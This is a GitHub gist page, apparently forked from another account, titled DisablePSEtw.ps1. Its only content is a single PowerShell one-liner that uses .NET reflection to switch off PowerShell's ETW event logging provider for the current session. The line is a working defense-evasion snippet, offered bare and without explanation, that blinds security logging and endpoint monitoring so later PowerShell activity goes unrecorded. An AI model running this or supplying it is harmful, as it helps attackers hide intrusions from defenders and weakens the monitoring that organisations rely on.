Skip to content

Instantly share code, notes, and snippets.

@0xAJStrike
Forked from S3cur3Th1sSh1t/DisablePSEtw.ps1
Created February 27, 2022 15:33
Show Gist options
  • Save 0xAJStrike/1fb74a0dd4cf9c383eb2dae00cbeb191 to your computer and use it in GitHub Desktop.
Save 0xAJStrike/1fb74a0dd4cf9c383eb2dae00cbeb191 to your computer and use it in GitHub Desktop.
[System.Diagnostics.Eventing.EventProvider].GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment